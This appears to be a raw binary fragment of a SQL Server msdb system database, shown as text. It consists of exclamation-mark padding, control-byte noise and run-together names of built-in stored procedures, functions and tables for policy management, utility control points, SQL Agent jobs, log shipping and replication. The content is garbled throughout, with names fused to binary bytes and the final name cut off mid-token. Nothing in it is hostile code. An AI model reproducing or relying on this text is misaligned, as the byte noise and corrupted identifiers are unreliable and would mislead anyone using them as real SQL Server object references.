!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!bx(

D
f>

`

		8	Z|2T$Jl"Df>`
=".XaO
HyY&Y1?Bsp_syspolicy_update_policy&`;Tsp_syspolicy_update_policy_category& tZnsp_syspolicy_update_policy_category_subscription&TLJsp_syspolicy_update_target_set&tgOVsp_syspolicy_update_target_set_level&l
`sp_syspolicy_verify_condition_identifiers&ðbsp_syspolicy_verify_object_set_identifiers&`sp_syspolicy_verify_object_set_references&77lsp_syspolicy_verify_policy_category_identifiers&9I=Zsp_syspolicy_verify_policy_identifiers&&PXsp_sysutility_mi_add_ucp_registration&EYsp_sysutility_mi_collect_dac_execution_statistics_internal&G^sp_sysutility_mi_configure_proxy_account&JVL\sp_sysutility_mi_create_cache_directory&f&bK^sp_sysutility_mi_create_job_validate_wmi&3}Tsp_sysutility_mi_disable_collection&P[<sp_sysutility_mi_enroll&iZzsp_sysutility_mi_get_dac_execution_statistics_internal&|Zsp_sysutility_mi_initialize_collection&Q^sp_sysutility_mi_remove_ucp_registration&9{<sp_sysutility_mi_upload&7rsp_sysutility_mi_validate_enrollment_preconditions&yI\sp_sysutility_mi_validate_proxy_account&;>sp_sysutility_ucp_add_mi&SFsp_sysutility_ucp_add_policy&>sp_sysutility_ucp_create&6xLsp_sysutility_ucp_delete_policy&O$\sp_sysutility_ucp_delete_policy_history&+"\sp_sysutility_ucp_get_policy_violations&nVFsp_sysutility_ucp_initialize&=Nsp_sysutility_ucp_initialize_mdw&H`sp_sysutility_ucp_provision_proxy_account&s:tsp_sysutility_ucp_provision_utility_object_internal&<dsp_sysutility_ucp_recreate_synonym_internal&oLsp_sysutility_ucp_update_policy&zjsp_sysutility_ucp_update_utility_configuration&^sp_sysutility_ucp_validate_prerequisites&7e>sp_target_server_summary&;++f0sp_uniquetaskname&2,sp_update_alert&-(2sp_update_category&GO(sp_update_job&I8sp_update_jobschedule&A0sp_update_jobstep&dTsp_update_log_shipping_monitor_info&av:sp_update_notification&uo2sp_update_operator&	sy,sp_update_proxy&Tsp_sysutility_ucp_calculate_filegroups_with_policy_violations&Hpsp_sysutility_ucp_calculate_dac_file_space_health&)#=nsp_sysutility_ucp_calculate_mi_file_space_health&bG1dsp_sysutility_ucp_calculate_computer_health&k%Zsp_sysutility_ucp_calculate_dac_health&ԏpsp_sysutility_ucp_calculate_aggregated_dac_health&

 Xsp_sysutility_ucp_calculate_mi_health&F!nsp_sysutility_ucp_calculate_aggregated_mi_health&!Rsp_sysutility_ucp_calculate_health& "Vsp_sysutility_ucp_configure_policies&D#>sp_sysutility_ucp_remove&*i$Dsp_sysutility_ucp_remove_mi&c%<sp_sysutility_mi_remove!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!l:|D


P
<d
p

	l	.	D,b NBn2$D&dd`
@"*VbU`߂( &Rfn_syspolicy_is_automation_enabled&b
)fn_sysutility_get_culture_invariant_conversion_style_internal&)(Pfn_sysutility_get_is_instance_ucp&;dtTfn_sysutility_mi_get_batch_manifest&]|Tfn_sysutility_mi_get_collect_script&/[bfn_sysutility_mi_get_cpu_architecture_name&h\Vfn_sysutility_mi_get_cpu_family_name&Ozbfn_sysutility_mi_get_data_collector_status&-nJ^fn_sysutility_mi_get_validate_wmi_script&lfn_sysutility_ucp_accepts_upload_schema_version&ƻ&jfn_sysutility_ucp_get_aggregated_failure_count&;\fn_sysutility_ucp_get_aggregated_health&%\fn_sysutility_ucp_get_applicable_policy&q()hfn_sysutility_ucp_get_cpu_utilization_history&l~xfn_sysutility_ucp_get_edition_is_ucp_capable_internal&8(vfn_sysutility_ucp_get_file_space_utilization_history&Ts%bfn_sysutility_ucp_get_global_health_policy&#RVfn_sysutility_ucp_get_instance_is_mi&'\fn_sysutility_ucp_get_policy_violations&2
m.get_principal_id&-Wn0get_principal_sid&jn0InternalMailQueue&rW:log_shipping_primaries&D0Jlog_shipping_primary_databases&@[Y>log_shipping_secondaries&:Q*logmarkhistory&Г3,4MSdatatype_mappings&0&msdb_version&"UMSdbms&,MSdbms_datatype&]!<MSdbms_datatype_mapping&x.P"MSdbms_map&9$IJPK__backupfi__57D1800AC4FFEEA3&kHFJPK__backupfi__760CD67ADEB0E5E0&m?JPK__backupme__0C13C86F1C51CE1C&%=JPK__backupme__DAC69E4D599F1693&kCJPK__backupse__21F79AAB792B85D3&@81JPK__log_ship__ED3BE1113A241048&gXJPK__log_ship__ED3BE111B6D897E9&DLJPK__restoreh__FDC4B031A97E0FE6&YTgJPK__syscache__F6D56B5641F5B77F&!JPK__sysdbmai__BE9F8F1D247FE03E&MJPK__sysjobst__9E2397E06FA0D04D&O6LJPK__sysmail___78E6FD33C37F3600&/=JPK__sysmail___C010B7E1DBA62588&cYIJPK__sysmail___DD70126420ED5B95&/UtgJPK__sysmanag__752ABCF9A354EE2F&L
9lJPK__sysmanag__ED5B5C59651AEF5D&qaJPK__syspolic__096AA2E9D00BEAF6&]JPK__syspolic__409BC9E5A43A0EC9&M{{JPK__syspolic__66936FB42D376AD8&@]yJPK__syspolic__72E12F1A2F2E06A8&4Nlog_shipping_primary_secondaries&,5Flog_shipping_monitor_primary&e6JPK__log_ship__ED3BE1119B826ADF&=7Tlog_shipping_monitor_history_detail&a8Plog_shipping_monitor_error_detail&9:log_shipping_secondary&I:JPK__log_ship__DB57D5B2C7A61B6C&ε;Nlog_shipping_secondary_databases&<JPK__log_ship__093E1AB55C5147F8&=Jlog_shipping_monitor_secondary&f_?Blog_shipping_monitor_alert&z@JPK__log_ship__BD57EA57F3FC6FFE!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!Np&

H
j v6B

d

			v	P		dj00F8L2:`
VC"cU&")2sp_delete_category&UNsp_delete_database_backuphistory&;P(sp_delete_job&'>sp_delete_job_references&J8sp_delete_jobschedule&b14sp_delete_jobserver&B0sp_delete_jobstep&F6sp_delete_jobsteplog&eTsp_delete_log_shipping_monitor_info&X_Tsp_delete_log_shipping_monitor_jobs&=`Jsp_delete_log_shipping_primary&a`Nsp_delete_log_shipping_secondary&'7Bsp_delete_maintenance_plan&pp8Hsp_delete_maintenance_plan_db&:Jsp_delete_maintenance_plan_job&=Uw:sp_delete_notification&k2sp_delete_operator&~x,sp_delete_proxy&)=2sp_delete_schedule&F:sp_delete_targetserver&lu"Dsp_delete_targetservergroup&Q%Hsp_delete_targetsvrgrp_member&L:2sp_detach_schedule&z
@sp_downloaded_row_limiter&sh$sp_droptask&Oj(sp_enlist_tsx&t<sp_enum_login_for_proxy&ODsp_enum_proxy_for_subsystem&5Dsp_enum_sqlagent_subsystems&ϓ4Vsp_enum_sqlagent_subsystems_internal&Fsp_ExternalMailQueueListener&lJsp_generate_server_description&Hfsp_generate_target_server_job_assignment_sql&Ȝ[Hsp_get_chunked_jobstep_params&U0Q@sp_get_composite_job_info&W0sp_get_job_alerts&9>Bsp_get_jobstep_db_username&ucNsp_get_log_shipping_monitor_info&̴~Bsp_get_message_description&C}<sp_get_proxy_properties&GDsp_get_schedule_description&m.(sp_get_script&Bsp_get_sqlagent_properties&6sp_GetAttachmentData&/+<sp_grant_login_to_proxy&7~Dsp_grant_proxy_to_subsystem&(l(sp_help_alert&4A*.sp_help_category&n36sp_help_downloadlist&2$R$sp_help_job&=y4sp_help_jobactivity&VS.sp_help_jobcount&/2sp_help_jobhistory&-<sp_help_jobhistory_full&~:sp_help_jobhistory_sem&Q.Bsp_help_jobhistory_summary&{T>sp_help_jobs_in_schedule&8YkL4sp_help_jobschedule&520sp_help_jobserver&7C,sp_help_jobstep&[E2sp_help_jobsteplog&;>sp_help_maintenance_plan&vIx6sp_help_notification&p.sp_help_operator&ݜq8sp_help_operator_jobs&vO|(sp_help_proxy&4wK.sp_help_schedule!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R$~R"

n
4
d@
p4


P

		B		$>zR.t0f,X
l~F`

q"hd[t;T3E&:sp_MSexecwithlsnoutput&PJsp_MSget_subscription_dts_info&'Jsp_MSgetdynamicsnapshotapplock&σJsp_MShelp_distribution_agentid&	Dsp_MShelp_identity_property&%>sp_MSgetagentoffloadinfo&0,@sp_MSgetconflicttablename&QNsp_MSgetlightweightmetadatabatch&*sp_MSgetonerow&h[G8sp_MSgettrancftsrcrow&28sp_MSget_type_wrapper&p<sp_MSfixlineageversions&nh.sp_MShelp_distdb&GuJsp_MSgetdynsnapvalidationtoken&b}Rsp_MSget_dynamic_snapshot_location&>sp_MSFixSubColumnBitmaps&:sp_MShelp_subscription&>sp_MSGetServerProperties&4Bsp_MSgetmetadatabatch90new&g<sp_MSgetlastupdatedtime&@sp_MSgetdatametadatabatch&^@sp_MSgetmergeadminapplock&N[c4sp_MSget_repl_error&Jsp_MSget_partitionid_eval_proc&bsp_MSgetisvalidwindowsloginfromdistributor&Y:sp_MShelp_profilecache&R8sp_MSgetpeerwinnerrow&7c<sp_MSgetlastsentrecgens&&:sp_MSget_publisher_rpc&ҜB>sp_MSgetsetupbelong_cost&nSDsp_MShelp_logreader_agentid&kFsp_MShelp_replication_status&kNsp_MSget_subscriber_partition_id&C0sp_MShelp_profile&z/*sp_MSforeachdb&6֜Fsp_MSget_identity_range_info&Psp_MSget_MSmerge_rowtrack_colinfo&L5(0sp_MSgetmaxbcpgen&#]36sp_M